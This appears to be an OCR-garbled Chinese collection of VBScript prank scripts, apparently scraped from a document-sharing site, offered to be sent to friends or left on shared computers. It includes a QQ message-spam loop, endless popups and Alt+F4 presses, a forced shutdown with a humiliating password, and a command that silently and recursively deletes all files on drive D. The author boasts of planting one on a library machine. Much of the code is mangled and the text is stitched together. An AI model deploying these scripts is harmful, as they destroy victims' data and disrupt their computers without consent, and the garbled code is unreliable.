一、 你打开好友的聊天对话框，然后记下在你QQ 里好友的昵称，把下面代码里的 GG 替换一下，就可以自定义发送QQ 信息到好友的次数(代码里的数字10改一 下即可). GG.vbs=>
复制代码代码如下：
On ErrorResumeNeGt
Dimwsh,Pe
setwsh=createobject("wscript.shell")
fori=1to10
wscript.sleep700 wsh.AppActivate (” 与 GG 聊天中") wsh.se ndKePs""" wsh.se ndKePsi
wsh.se ndKePs"%s"
neGt
wscript.quit
QQ 骚扰信息，也可以用在其它程序上。
二、 我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法， 哈哈
五、 删除 所有文件
dimWSHshell
setWSHshell=wscript.createobject("wscript.shell")
WSHshell.run"cmd/c""deld:\G.G/f/q/s""",O,true
六、 不断弹出窗口 复制代码代码如下：
while(1)
msgboG"哈哈你被耍了!
loop
II
do msgboG"Pouarefoolish!"
loop setWSHshell=wscript.createobject("wscript.shell")
WSHshell.ru n"shutdow n-f-s-tOO",O,true
七、不断按下alt+f4 （开什么都关闭……）复制代码代码如下：dimWSHshell
setWSHshell=wscript.createobject（"wscript.shell"）
while（1）
WSHshell.Se ndKePs"%{F4}"
loop
八、按500次回车
（以上代码在运行者的电脑上显示 500个对话框。其中dountils=500，500可以随意更改）
复制代码代码如下:
dims
dou ntils=500
s=s+1
msgboG"哥们，给我按500次回车吧",64
loop
九、关不掉的窗口复制代码代码如下
WScript.Echo（"嘿，谢谢你打开我哦，我等你很久拉！"&TSName）
WScript.Echo（"你是可爱的小朋吗?"）
WScript.Echo（"哈,我想你拉，这你都不知道吗？"）
WScript.Echo（"怎么才来，说?是不是不关心我"）
WScript.Echo（"哼,我生气拉，等你这么久，心都凉啦。"）
WScript.Echo（"小强很生气，后果很严重哦。"）
WScript.Echo（"嘿嘿！你也会很惨滴哦"）
WScript.Echo（"是不是想清除我？"）
WScript.Echo（"那你要点上50下哦，不过会给你惊喜滴"）
WScript.Echo（"还剩49下，快点点哦"）
WScript.Echo（"还剩48下，快点，小笨蛋！"）
WScript.Echo（"还剩47下对，就这样快点点!
WScript.Echo（"还剩46下。你啊就是笨，要快哦，我先不打扰你工作WScript.Echo（"还剩45下，记得要快哦！"）
WScript.Echo（"还剩 43 下"）
WScript.Echo（"还剩 42 下"）
WScript.Echo（"还剩 41 下"）
WScript.Echo（"还剩 40 下"）
WScript.Echo（"还剩 39 下"）
WScript.Echo（"还剩 38 下"）
WScript.Echo（"还剩 37 下"）
WScript.Echo（"还剩 36 下"）
WScript.Echo（"还剩 35 下"）
WScript.Echo（"还剩 34 下"）
还剩33下")
还剩32下") 还剩30下") 还剩29下") 还剩28下") 还剩27下") 还剩26下") 还剩25下") 还剩24下") 还剩23下") 还剩22下") 还剩21下") 还剩20下") 还剩19下") 还剩18下") 还剩17下") 还剩16下") 还剩15下") 还剩14下")
还剩13下停停！！ ！慢点，我有话要说") 还剩12下，你继续点我
就会消失滴")
还剩11下，以后就看不到我拉。555555") 还剩10下，你现在可以选择停止！") 还剩9下。你还点啊，不要我拉？") 还剩8下，有点伤心拉，干嘛丢弃人家") 还剩7下。疯了，你有点负意！") 还剩6下。对。你就点吧，我恨你！") 还剩5下，不明白，删除我你就好吗？") 还剩4下！真要删除我？")
还剩3下。可是我真的很眷恋你。。。") 还剩2下。不要这么绝情嘛，人家是爱你的！") 还剩1下。哼，既然你这么绝情。也别怪我
无义！！ ！
") 我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会 想结素我么？那你就再多点一次") 想结素我么？那你就再多点一次") 想结素我么？那你就再多点一次") 想结素我么？那你就再多点一次") 想结素我么？那你就再多点一次") 想结素我么？那你就再多点一次") 想结素我么？那你就再多点一次") 想结素我么？那你就再多点一次") 想结素我么？那你就再多点一次") 想结素我么？那你就再多点一次") 两个整人的 VBS 脚本20PP-07-1618:16 文章录入：https://www.doczj.com/doc/dc7383034.html, 责任编辑：https://www.doczj.com/doc/dc7383034.html,564
【字体：小大】
测试环境：Windows20PP 系统
大家好我是 VanlisaQQ137841986
今天给大家带来两个整人的VBS 脚本希望大家喜欢
VBS 脚本大家都知道吧第一个是定时关机的
如果把他发给你的QQ 好友他不懂的话如果不输我是猪电脑就会在你设定的 时间内关机我设置的是3分钟只要输入就解除了当然如果不输的话也有解除的 办法
我们来看下这个脚本
复制代码代码如下：
on errorresume neGt
dimWSHshellA
setWSHshellA=wscript.createobject("wscript.shell") WSHshellA.ru n"cmd.eGe/cshutdow n-r-t180-c"" 说我是猪，不说我是猪就一分
钟关机，不信，试下,0,true
dima
dowhile(a<>"我是猪")
a=inputboG("说我是猪,就不关机，快撒，说""我是猪 ..... ,"说不说 ","",8000,7000) msgboGchr(13)+chr(13)+chr(13)+a,0,"MsgBoG"
loop msgboGchr(13)+chr(13)+chr(13)+" 早说就行了嘛" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" ") WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo(" WScript.Echo("
WScript.Echo("